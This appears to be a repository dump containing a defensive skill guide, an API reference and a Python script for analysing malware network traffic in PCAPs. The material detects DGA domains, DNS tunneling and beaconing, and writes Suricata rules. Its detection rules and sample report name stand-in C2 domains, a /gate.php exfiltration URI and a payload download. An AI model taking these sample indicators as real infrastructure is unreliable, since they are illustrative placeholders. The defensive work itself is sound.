(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,340 @@
|
||||
---
|
||||
name: analyzing-network-traffic-of-malware
|
||||
description: 'Analyzes network traffic generated by malware during sandbox execution
|
||||
or live incident response to identify C2 protocols, data exfiltration channels,
|
||||
payload downloads, and lateral movement patterns using Wireshark, Zeek, and Suricata.
|
||||
Activates for requests involving malware network analysis, C2 traffic decoding,
|
||||
malware PCAP analysis, or network-based malware detection.
|
||||
|
||||
'
|
||||
domain: cybersecurity
|
||||
subdomain: malware-analysis
|
||||
tags:
|
||||
- malware
|
||||
- network-analysis
|
||||
- PCAP
|
||||
- Wireshark
|
||||
- C2-detection
|
||||
version: 1.0.0
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- DE.AE-02
|
||||
- RS.AN-03
|
||||
- ID.RA-01
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1071.001
|
||||
- T1571
|
||||
- T1573
|
||||
- T1095
|
||||
---
|
||||
|
||||
# Analyzing Network Traffic of Malware
|
||||
|
||||
## When to Use
|
||||
|
||||
- Sandbox execution has captured a PCAP file and the network behavior needs detailed analysis
|
||||
- Identifying the C2 protocol structure for writing network detection signatures
|
||||
- Determining what data the malware exfiltrates and to which external infrastructure
|
||||
- Analyzing DNS tunneling, domain generation algorithms (DGA), or fast-flux behavior
|
||||
- Creating Suricata/Snort signatures based on observed malware network patterns
|
||||
|
||||
**Do not use** for host-based analysis of malware behavior; use Cuckoo sandbox reports or Volatility memory analysis for process-level activity.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Wireshark 4.x installed for interactive PCAP analysis
|
||||
- tshark (Wireshark CLI) for scripted packet extraction
|
||||
- Zeek installed for automated metadata generation from PCAPs
|
||||
- Suricata with ET Open/ET Pro rulesets for signature matching
|
||||
- NetworkMiner for file extraction and credential detection from PCAPs
|
||||
- Python 3.8+ with `scapy` and `dpkt` for programmatic packet analysis
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Initial PCAP Overview
|
||||
|
||||
Get a high-level understanding of the network traffic:
|
||||
|
||||
```bash
|
||||
# Capture statistics
|
||||
capinfos malware.pcap
|
||||
|
||||
# Protocol hierarchy
|
||||
tshark -r malware.pcap -q -z io,phs
|
||||
|
||||
# Endpoint statistics (top talkers)
|
||||
tshark -r malware.pcap -q -z endpoints,ip
|
||||
|
||||
# Conversation statistics
|
||||
tshark -r malware.pcap -q -z conv,tcp
|
||||
|
||||
# DNS query summary
|
||||
tshark -r malware.pcap -q -z dns,tree
|
||||
```
|
||||
|
||||
### Step 2: Analyze DNS Activity
|
||||
|
||||
Examine DNS queries for DGA, tunneling, or C2 domain resolution:
|
||||
|
||||
```bash
|
||||
# Extract all DNS queries
|
||||
tshark -r malware.pcap -T fields -e frame.time -e dns.qry.name -e dns.a \
|
||||
-Y "dns.flags.response == 1" | sort
|
||||
|
||||
# Detect DGA patterns (high entropy domain names)
|
||||
python3 << 'PYEOF'
|
||||
import math
|
||||
from collections import Counter
|
||||
|
||||
def entropy(s):
|
||||
p = [n/len(s) for n in Counter(s).values()]
|
||||
return -sum(pi * math.log2(pi) for pi in p if pi > 0)
|
||||
|
||||
# Parse DNS queries from tshark output
|
||||
import subprocess
|
||||
result = subprocess.run(
|
||||
["tshark", "-r", "malware.pcap", "-T", "fields", "-e", "dns.qry.name",
|
||||
"-Y", "dns.flags.response == 0"],
|
||||
capture_output=True, text=True
|
||||
)
|
||||
|
||||
domains = set(result.stdout.strip().split('\n'))
|
||||
print("Suspicious DNS queries (high entropy):")
|
||||
for domain in domains:
|
||||
if domain:
|
||||
subdomain = domain.split('.')[0]
|
||||
ent = entropy(subdomain)
|
||||
if ent > 3.5 and len(subdomain) > 10:
|
||||
print(f" {domain} (entropy: {ent:.2f})")
|
||||
PYEOF
|
||||
|
||||
# Detect DNS tunneling (large TXT responses)
|
||||
tshark -r malware.pcap -T fields -e dns.qry.name -e dns.txt \
|
||||
-Y "dns.resp.type == 16 and dns.resp.len > 100"
|
||||
```
|
||||
|
||||
### Step 3: Analyze HTTP/HTTPS C2 Communication
|
||||
|
||||
Examine web-based command-and-control traffic:
|
||||
|
||||
```bash
|
||||
# Extract HTTP requests
|
||||
tshark -r malware.pcap -T fields \
|
||||
-e frame.time -e ip.src -e ip.dst -e http.host \
|
||||
-e http.request.method -e http.request.uri -e http.user_agent \
|
||||
-Y "http.request"
|
||||
|
||||
# Extract HTTP response bodies (potential payload downloads)
|
||||
tshark -r malware.pcap -T fields \
|
||||
-e http.host -e http.request.uri -e http.content_type -e tcp.len \
|
||||
-Y "http.response and tcp.len > 1000"
|
||||
|
||||
# Extract POST data (potential exfiltration)
|
||||
tshark -r malware.pcap -T fields \
|
||||
-e http.host -e http.request.uri -e http.file_data \
|
||||
-Y "http.request.method == POST"
|
||||
|
||||
# TLS analysis (SNI, JA3 fingerprints)
|
||||
tshark -r malware.pcap -T fields \
|
||||
-e tls.handshake.extensions_server_name \
|
||||
-e tls.handshake.ja3 \
|
||||
-Y "tls.handshake.type == 1"
|
||||
|
||||
# Extract TLS certificate details
|
||||
tshark -r malware.pcap -T fields \
|
||||
-e x509ce.dNSName -e x509af.serialNumber \
|
||||
-e x509sat.utf8String \
|
||||
-Y "tls.handshake.type == 11"
|
||||
|
||||
# Export HTTP objects (downloaded files)
|
||||
tshark -r malware.pcap --export-objects http,exported_files/
|
||||
```
|
||||
|
||||
### Step 4: Detect Beaconing Patterns
|
||||
|
||||
Identify regular periodic communication indicating C2 beaconing:
|
||||
|
||||
```python
|
||||
# Beacon detection from PCAP
|
||||
from scapy.all import rdpcap, IP, TCP
|
||||
from collections import defaultdict
|
||||
import statistics
|
||||
|
||||
packets = rdpcap("malware.pcap")
|
||||
|
||||
# Group connections by destination IP:port
|
||||
connections = defaultdict(list)
|
||||
for pkt in packets:
|
||||
if IP in pkt and TCP in pkt:
|
||||
if pkt[TCP].flags & 0x02: # SYN flag
|
||||
dst = f"{pkt[IP].dst}:{pkt[TCP].dport}"
|
||||
connections[dst].append(float(pkt.time))
|
||||
|
||||
# Analyze timing intervals for beaconing
|
||||
print("Beacon Analysis:")
|
||||
for dst, times in connections.items():
|
||||
if len(times) >= 5:
|
||||
intervals = [times[i+1] - times[i] for i in range(len(times)-1)]
|
||||
avg = statistics.mean(intervals)
|
||||
stdev = statistics.stdev(intervals) if len(intervals) > 1 else 0
|
||||
jitter = (stdev / avg * 100) if avg > 0 else 0
|
||||
|
||||
if 10 < avg < 3600 and jitter < 30: # Regular interval with < 30% jitter
|
||||
print(f" [!] {dst}: {len(times)} connections")
|
||||
print(f" Interval: {avg:.1f}s ± {stdev:.1f}s (jitter: {jitter:.1f}%)")
|
||||
print(f" Pattern: LIKELY BEACONING")
|
||||
```
|
||||
|
||||
### Step 5: Generate Network Detection Signatures
|
||||
|
||||
Create Suricata/Snort rules from observed traffic patterns:
|
||||
|
||||
```bash
|
||||
# Run Suricata against the PCAP for existing signature matches
|
||||
suricata -r malware.pcap -l suricata_output/ -c /etc/suricata/suricata.yaml
|
||||
|
||||
# Review alerts
|
||||
cat suricata_output/fast.log
|
||||
|
||||
# Create custom Suricata rule from observed patterns
|
||||
cat << 'EOF' > custom_malware.rules
|
||||
# C2 beacon detection based on observed URI pattern
|
||||
alert http $HOME_NET any -> $EXTERNAL_NET any (
|
||||
msg:"MALWARE MalwareX C2 Beacon";
|
||||
flow:established,to_server;
|
||||
http.method; content:"POST";
|
||||
http.uri; content:"/gate.php?id=";
|
||||
http.user_agent; content:"Mozilla/5.0 (compatible; MSIE 10.0)";
|
||||
sid:9000001; rev:1;
|
||||
)
|
||||
|
||||
# DNS query for known C2 domain
|
||||
alert dns $HOME_NET any -> any any (
|
||||
msg:"MALWARE MalwareX C2 DNS Query";
|
||||
dns.query; content:"update.malicious.com";
|
||||
sid:9000002; rev:1;
|
||||
)
|
||||
|
||||
# JA3 hash match for malware TLS client
|
||||
alert tls $HOME_NET any -> $EXTERNAL_NET any (
|
||||
msg:"MALWARE MalwareX JA3 Match";
|
||||
ja3.hash; content:"a0e9f5d64349fb13191bc781f81f42e1";
|
||||
sid:9000003; rev:1;
|
||||
)
|
||||
EOF
|
||||
```
|
||||
|
||||
### Step 6: Extract Files and Artifacts from Traffic
|
||||
|
||||
Recover transferred files and embedded data:
|
||||
|
||||
```bash
|
||||
# Extract files using Zeek
|
||||
zeek -r malware.pcap /opt/zeek/share/zeek/policy/frameworks/files/extract-all-files.zeek
|
||||
ls extract_files/
|
||||
|
||||
# Extract files using NetworkMiner (GUI)
|
||||
# Or use tshark for specific protocol exports
|
||||
tshark -r malware.pcap --export-objects http,http_objects/
|
||||
tshark -r malware.pcap --export-objects smb,smb_objects/
|
||||
tshark -r malware.pcap --export-objects tftp,tftp_objects/
|
||||
|
||||
# Hash all extracted files
|
||||
sha256sum http_objects/* smb_objects/* 2>/dev/null
|
||||
|
||||
# Generate Zeek logs for comprehensive metadata
|
||||
zeek -r malware.pcap
|
||||
# Output: conn.log, dns.log, http.log, ssl.log, files.log, etc.
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| **Beaconing** | Regular periodic connections from malware to C2 server, identifiable by consistent time intervals and packet sizes |
|
||||
| **JA3/JA3S** | TLS fingerprinting method creating a hash from ClientHello/ServerHello parameters to uniquely identify malware TLS implementations |
|
||||
| **DGA (Domain Generation Algorithm)** | Algorithm generating pseudo-random domain names that malware queries to locate C2 servers, evading static domain blocklists |
|
||||
| **DNS Tunneling** | Encoding data in DNS queries and responses to establish a C2 channel or exfiltrate data through DNS infrastructure |
|
||||
| **Fast Flux** | DNS technique rapidly rotating IP addresses for a domain to avoid takedown and distribute C2 across many compromised hosts |
|
||||
| **SNI (Server Name Indication)** | TLS extension revealing the hostname the client is connecting to; visible even in encrypted HTTPS connections |
|
||||
| **Network Signature** | Suricata/Snort rule matching specific patterns in network traffic (headers, payloads, timing) to detect malicious communications |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **Wireshark**: Open-source packet analyzer for deep interactive inspection of network traffic at the protocol level
|
||||
- **Zeek**: Network analysis framework generating structured metadata logs (conn, dns, http, ssl) from live or captured traffic
|
||||
- **Suricata**: High-performance network IDS/IPS for signature-based detection with Lua scripting for custom detection logic
|
||||
- **NetworkMiner**: Network forensic analysis tool for extracting files, images, and credentials from PCAP files
|
||||
- **Scapy**: Python packet manipulation library for programmatic packet analysis, beacon detection, and protocol decoding
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: Decoding a Custom Binary C2 Protocol
|
||||
|
||||
**Context**: Malware communicates with its C2 server using a custom binary protocol over TCP port 8443. Standard HTTP analysis yields no results. The protocol structure needs to be reverse engineered from the PCAP.
|
||||
|
||||
**Approach**:
|
||||
1. Filter the PCAP for TCP port 8443 conversations and follow the TCP stream
|
||||
2. Identify the message framing (length prefix, delimiter, fixed-size headers)
|
||||
3. Compare multiple messages to identify static header fields vs variable data fields
|
||||
4. Cross-reference with reverse engineering findings from Ghidra (if the binary was analyzed)
|
||||
5. Write a Wireshark dissector or Scapy parser for the custom protocol
|
||||
6. Create Suricata rules matching the static header bytes for network detection
|
||||
7. Document the full protocol specification for threat intelligence sharing
|
||||
|
||||
**Pitfalls**:
|
||||
- Analyzing only the first few packets; some C2 protocols change behavior after initial handshake
|
||||
- Not decrypting TLS traffic when the sandbox has MITM capabilities
|
||||
- Confusing legitimate CDN or cloud traffic with C2 (validate destination IPs)
|
||||
- Missing C2 traffic that uses DNS or ICMP instead of TCP/UDP
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
MALWARE NETWORK TRAFFIC ANALYSIS
|
||||
===================================
|
||||
PCAP File: malware_sandbox.pcap
|
||||
Duration: 300 seconds
|
||||
Total Packets: 12,847
|
||||
Total Bytes: 4.2 MB
|
||||
|
||||
DNS ACTIVITY
|
||||
Total Queries: 47
|
||||
DGA Detected: Yes (23 high-entropy queries to .com TLD)
|
||||
Tunneling: No
|
||||
Resolved C2: update.malicious[.]com -> 185.220.101[.]42
|
||||
|
||||
C2 COMMUNICATION
|
||||
Protocol: HTTPS (TLS 1.2)
|
||||
Server: 185.220.101[.]42:443
|
||||
SNI: update.malicious[.]com
|
||||
JA3 Hash: a0e9f5d64349fb13191bc781f81f42e1
|
||||
Beacon Interval: 60.2s ± 6.8s (11.3% jitter)
|
||||
Total Sessions: 237
|
||||
Data Sent: 147 MB
|
||||
Data Received: 2.3 MB
|
||||
Certificate: CN=update.malicious[.]com (self-signed, expired)
|
||||
|
||||
PAYLOAD DOWNLOADS
|
||||
GET /payload.dll from compromised-site[.]com
|
||||
Size: 98,304 bytes
|
||||
SHA-256: abc123def456...
|
||||
Content-Type: application/octet-stream
|
||||
|
||||
EXFILTRATION
|
||||
Method: HTTPS POST to /gate.php
|
||||
Content-Type: application/octet-stream
|
||||
Average Size: 15,432 bytes per request
|
||||
Total Volume: 147 MB over 4 hours
|
||||
|
||||
SURICATA ALERTS
|
||||
[1:2028401] ET MALWARE Generic C2 Beacon Pattern
|
||||
[1:2028500] ET POLICY Self-Signed Certificate
|
||||
|
||||
GENERATED SIGNATURES
|
||||
SID 9000001: MalwareX HTTP beacon pattern
|
||||
SID 9000002: MalwareX DNS C2 domain
|
||||
SID 9000003: MalwareX JA3 TLS fingerprint
|
||||
```
|
||||
@@ -0,0 +1,128 @@
|
||||
# API Reference: Malware Network Traffic Analysis
|
||||
|
||||
## dpkt - Python Packet Parsing
|
||||
|
||||
### PCAP Reading
|
||||
```python
|
||||
import dpkt
|
||||
with open("malware.pcap", "rb") as f:
|
||||
pcap = dpkt.pcap.Reader(f)
|
||||
for ts, buf in pcap:
|
||||
eth = dpkt.ethernet.Ethernet(buf)
|
||||
ip = eth.data
|
||||
tcp = ip.data
|
||||
```
|
||||
|
||||
### HTTP Parsing
|
||||
```python
|
||||
http_req = dpkt.http.Request(tcp.data)
|
||||
http_req.method # GET, POST
|
||||
http_req.uri # Request URI
|
||||
http_req.headers # Header dict
|
||||
http_req.body # POST body
|
||||
|
||||
http_resp = dpkt.http.Response(tcp.data)
|
||||
http_resp.status # Status code
|
||||
http_resp.body # Response body
|
||||
```
|
||||
|
||||
### IP Address Conversion
|
||||
```python
|
||||
dpkt.utils.inet_to_str(ip.src) # bytes -> "1.2.3.4"
|
||||
dpkt.utils.inet_aton("1.2.3.4") # "1.2.3.4" -> bytes
|
||||
```
|
||||
|
||||
## Wireshark Display Filters for Malware
|
||||
|
||||
### C2 Detection
|
||||
```
|
||||
http.request.method == "POST" && http.content_length > 0
|
||||
tls.handshake.type == 1 # TLS Client Hello
|
||||
tcp.flags.syn == 1 && tcp.flags.ack == 0 # New connections
|
||||
dns.qry.type == 16 # TXT records
|
||||
```
|
||||
|
||||
### Payload Analysis
|
||||
```
|
||||
tcp.payload contains "MZ" # PE downloads
|
||||
http.response.code == 200 && http.content_type contains "octet"
|
||||
frame.len > 1400 # Large packets
|
||||
```
|
||||
|
||||
## tshark - Field Extraction
|
||||
|
||||
### HTTP Requests
|
||||
```bash
|
||||
tshark -r malware.pcap -Y "http.request" -T fields \
|
||||
-e http.request.method -e http.host -e http.request.uri \
|
||||
-e http.user_agent -e http.content_length
|
||||
```
|
||||
|
||||
### TLS/JA3 Fingerprinting
|
||||
```bash
|
||||
tshark -r malware.pcap -Y "tls.handshake.type==1" -T fields \
|
||||
-e ip.src -e ip.dst -e tls.handshake.ja3
|
||||
```
|
||||
|
||||
### DNS Queries
|
||||
```bash
|
||||
tshark -r malware.pcap -Y "dns.qr==0" -T fields \
|
||||
-e ip.src -e dns.qry.name -e dns.qry.type
|
||||
```
|
||||
|
||||
### Stream Follow
|
||||
```bash
|
||||
tshark -r malware.pcap -z follow,tcp,ascii,0
|
||||
tshark -r malware.pcap -z follow,http,ascii,0
|
||||
```
|
||||
|
||||
## Suricata Rule Syntax
|
||||
|
||||
### HTTP Rules
|
||||
```
|
||||
alert http $HOME_NET any -> $EXTERNAL_NET any (
|
||||
msg:"MALWARE C2 Beacon";
|
||||
flow:established,to_server;
|
||||
http.method; content:"POST";
|
||||
http.uri; content:"/gate.php";
|
||||
sid:9000001; rev:1;
|
||||
)
|
||||
```
|
||||
|
||||
### DNS Rules
|
||||
```
|
||||
alert dns $HOME_NET any -> any any (
|
||||
msg:"MALWARE DNS Tunneling";
|
||||
dns.query; pcre:"/^[a-z0-9]{20,}\./";
|
||||
threshold:type threshold, track by_src, count 10, seconds 60;
|
||||
sid:9000002; rev:1;
|
||||
)
|
||||
```
|
||||
|
||||
### TLS Rules
|
||||
```
|
||||
alert tls $HOME_NET any -> $EXTERNAL_NET any (
|
||||
msg:"MALWARE JA3 Match";
|
||||
ja3.hash; content:"a0e9f5d64349fb13191bc781f81f42e1";
|
||||
sid:9000003; rev:1;
|
||||
)
|
||||
```
|
||||
|
||||
## RITA - Beacon Analysis
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
rita import zeek_logs dataset_name
|
||||
rita analyze dataset_name
|
||||
rita show-beacons dataset_name
|
||||
rita show-long-connections dataset_name
|
||||
rita show-dns-fqdn-lengths dataset_name
|
||||
```
|
||||
|
||||
## NetworkMiner
|
||||
|
||||
### CLI Syntax
|
||||
```bash
|
||||
NetworkMiner --inputfile malware.pcap --outputdir /tmp/extracted
|
||||
```
|
||||
Extracts files, sessions, credentials, DNS from PCAP
|
||||
@@ -0,0 +1,243 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Malware network traffic analysis agent for C2 protocol decoding and signature generation."""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import math
|
||||
from collections import defaultdict, Counter
|
||||
|
||||
try:
|
||||
import dpkt
|
||||
HAS_DPKT = True
|
||||
except ImportError:
|
||||
HAS_DPKT = False
|
||||
|
||||
try:
|
||||
from scapy.all import rdpcap, IP, TCP, DNS, DNSQR
|
||||
HAS_SCAPY = True
|
||||
except ImportError:
|
||||
HAS_SCAPY = False
|
||||
|
||||
|
||||
def shannon_entropy(data):
|
||||
"""Calculate Shannon entropy of byte data."""
|
||||
if not data:
|
||||
return 0.0
|
||||
counter = Counter(data)
|
||||
length = len(data)
|
||||
return -sum((c / length) * math.log2(c / length) for c in counter.values())
|
||||
|
||||
|
||||
def extract_tcp_streams(pcap_path):
|
||||
"""Extract TCP stream payloads grouped by conversation."""
|
||||
if not HAS_DPKT:
|
||||
return {}
|
||||
streams = defaultdict(list)
|
||||
with open(pcap_path, "rb") as f:
|
||||
pcap = dpkt.pcap.Reader(f)
|
||||
for ts, buf in pcap:
|
||||
try:
|
||||
eth = dpkt.ethernet.Ethernet(buf)
|
||||
if not isinstance(eth.data, dpkt.ip.IP):
|
||||
continue
|
||||
ip = eth.data
|
||||
if not isinstance(ip.data, dpkt.tcp.TCP):
|
||||
continue
|
||||
tcp = ip.data
|
||||
if len(tcp.data) > 0:
|
||||
src = f"{dpkt.utils.inet_to_str(ip.src)}:{tcp.sport}"
|
||||
dst = f"{dpkt.utils.inet_to_str(ip.dst)}:{tcp.dport}"
|
||||
key = tuple(sorted([src, dst]))
|
||||
streams[key].append({
|
||||
"ts": ts,
|
||||
"src": src,
|
||||
"dst": dst,
|
||||
"data": tcp.data,
|
||||
"data_len": len(tcp.data),
|
||||
})
|
||||
except Exception:
|
||||
continue
|
||||
return streams
|
||||
|
||||
|
||||
def analyze_payload_structure(payloads):
|
||||
"""Analyze payload structure to identify protocol framing."""
|
||||
if not payloads:
|
||||
return {}
|
||||
analysis = {
|
||||
"total_payloads": len(payloads),
|
||||
"sizes": [len(p) for p in payloads],
|
||||
"avg_size": sum(len(p) for p in payloads) / len(payloads),
|
||||
"entropy_values": [],
|
||||
}
|
||||
for p in payloads[:20]:
|
||||
ent = shannon_entropy(p)
|
||||
analysis["entropy_values"].append(round(ent, 4))
|
||||
avg_ent = sum(analysis["entropy_values"]) / len(analysis["entropy_values"])
|
||||
analysis["avg_entropy"] = round(avg_ent, 4)
|
||||
analysis["likely_encrypted"] = avg_ent > 7.5
|
||||
|
||||
# Check for common header patterns
|
||||
first_bytes = [p[:4] for p in payloads if len(p) >= 4]
|
||||
if first_bytes:
|
||||
byte_counter = Counter([b.hex() for b in first_bytes])
|
||||
most_common = byte_counter.most_common(3)
|
||||
analysis["common_headers"] = [
|
||||
{"hex": h, "count": c} for h, c in most_common
|
||||
]
|
||||
return analysis
|
||||
|
||||
|
||||
def detect_dns_tunneling(pcap_path, entropy_threshold=3.5):
|
||||
"""Detect DNS tunneling in malware traffic."""
|
||||
if not HAS_SCAPY:
|
||||
return []
|
||||
packets = rdpcap(pcap_path)
|
||||
suspicious = []
|
||||
for pkt in packets:
|
||||
if DNS in pkt and pkt[DNS].qr == 0 and DNSQR in pkt:
|
||||
qname = pkt[DNSQR].qname.decode("utf-8", errors="replace").rstrip(".")
|
||||
parts = qname.split(".")
|
||||
if len(parts) > 2:
|
||||
subdomain = ".".join(parts[:-2])
|
||||
ent = shannon_entropy(subdomain.encode())
|
||||
if ent > entropy_threshold or len(subdomain) > 50:
|
||||
suspicious.append({
|
||||
"query": qname,
|
||||
"subdomain_length": len(subdomain),
|
||||
"entropy": round(ent, 4),
|
||||
"src": pkt[IP].src if IP in pkt else "?",
|
||||
"qtype": pkt[DNSQR].qtype,
|
||||
})
|
||||
return suspicious
|
||||
|
||||
|
||||
def detect_dga_domains(pcap_path, min_length=12, entropy_threshold=3.5):
|
||||
"""Detect DGA (Domain Generation Algorithm) domains."""
|
||||
if not HAS_SCAPY:
|
||||
return []
|
||||
packets = rdpcap(pcap_path)
|
||||
dga_suspects = []
|
||||
for pkt in packets:
|
||||
if DNS in pkt and pkt[DNS].qr == 0 and DNSQR in pkt:
|
||||
qname = pkt[DNSQR].qname.decode("utf-8", errors="replace").rstrip(".")
|
||||
parts = qname.split(".")
|
||||
if len(parts) >= 2:
|
||||
sld = parts[-2]
|
||||
if len(sld) >= min_length:
|
||||
ent = shannon_entropy(sld.encode())
|
||||
if ent > entropy_threshold:
|
||||
dga_suspects.append({
|
||||
"domain": qname,
|
||||
"sld": sld,
|
||||
"length": len(sld),
|
||||
"entropy": round(ent, 4),
|
||||
})
|
||||
return dga_suspects
|
||||
|
||||
|
||||
def extract_http_c2(pcap_path):
|
||||
"""Extract HTTP-based C2 communication patterns."""
|
||||
if not HAS_DPKT:
|
||||
return []
|
||||
requests = []
|
||||
with open(pcap_path, "rb") as f:
|
||||
pcap = dpkt.pcap.Reader(f)
|
||||
for ts, buf in pcap:
|
||||
try:
|
||||
eth = dpkt.ethernet.Ethernet(buf)
|
||||
if not isinstance(eth.data, dpkt.ip.IP):
|
||||
continue
|
||||
ip = eth.data
|
||||
if not isinstance(ip.data, dpkt.tcp.TCP):
|
||||
continue
|
||||
tcp = ip.data
|
||||
if len(tcp.data) > 0:
|
||||
try:
|
||||
http = dpkt.http.Request(tcp.data)
|
||||
requests.append({
|
||||
"timestamp": ts,
|
||||
"src": dpkt.utils.inet_to_str(ip.src),
|
||||
"dst": dpkt.utils.inet_to_str(ip.dst),
|
||||
"method": http.method,
|
||||
"uri": http.uri,
|
||||
"host": http.headers.get("host", ""),
|
||||
"user_agent": http.headers.get("user-agent", ""),
|
||||
"content_type": http.headers.get("content-type", ""),
|
||||
"body_size": len(http.body) if http.body else 0,
|
||||
"body_entropy": round(shannon_entropy(http.body), 4) if http.body else 0,
|
||||
})
|
||||
except (dpkt.dpkt.NeedData, dpkt.dpkt.UnpackError):
|
||||
pass
|
||||
except Exception:
|
||||
continue
|
||||
return requests
|
||||
|
||||
|
||||
def generate_suricata_signatures(http_requests, dns_tunneling):
|
||||
"""Generate Suricata IDS signatures from observed malware network patterns."""
|
||||
rules = []
|
||||
sid = 9100000
|
||||
seen_uris = set()
|
||||
for req in http_requests:
|
||||
if req["uri"] not in seen_uris:
|
||||
seen_uris.add(req["uri"])
|
||||
rules.append(
|
||||
f'alert http $HOME_NET any -> $EXTERNAL_NET any ('
|
||||
f'msg:"MALWARE Suspected C2 HTTP {req["method"]} {req["uri"][:30]}"; '
|
||||
f'flow:established,to_server; '
|
||||
f'http.method; content:"{req["method"]}"; '
|
||||
f'http.uri; content:"{req["uri"]}"; '
|
||||
f'sid:{sid}; rev:1;)'
|
||||
)
|
||||
sid += 1
|
||||
if dns_tunneling:
|
||||
domains = set()
|
||||
for t in dns_tunneling:
|
||||
parts = t["query"].split(".")
|
||||
if len(parts) >= 2:
|
||||
domains.add(".".join(parts[-2:]))
|
||||
for domain in list(domains)[:5]:
|
||||
rules.append(
|
||||
f'alert dns $HOME_NET any -> any any ('
|
||||
f'msg:"MALWARE DNS Tunneling to {domain}"; '
|
||||
f'dns.query; content:"{domain}"; nocase; '
|
||||
f'sid:{sid}; rev:1;)'
|
||||
)
|
||||
sid += 1
|
||||
return rules
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("=" * 60)
|
||||
print("Malware Network Traffic Analysis Agent")
|
||||
print("C2 protocol decoding, DNS tunneling, DGA detection")
|
||||
print("=" * 60)
|
||||
|
||||
pcap = sys.argv[1] if len(sys.argv) > 1 else None
|
||||
|
||||
if pcap and os.path.exists(pcap):
|
||||
print(f"\n[*] Analyzing: {pcap}")
|
||||
|
||||
print("\n--- HTTP C2 Communication ---")
|
||||
http_reqs = extract_http_c2(pcap)
|
||||
for r in http_reqs[:10]:
|
||||
print(f" {r['method']} {r['host']}{r['uri']} "
|
||||
f"(body={r['body_size']}B, entropy={r['body_entropy']})")
|
||||
|
||||
print("\n--- DNS Tunneling Detection ---")
|
||||
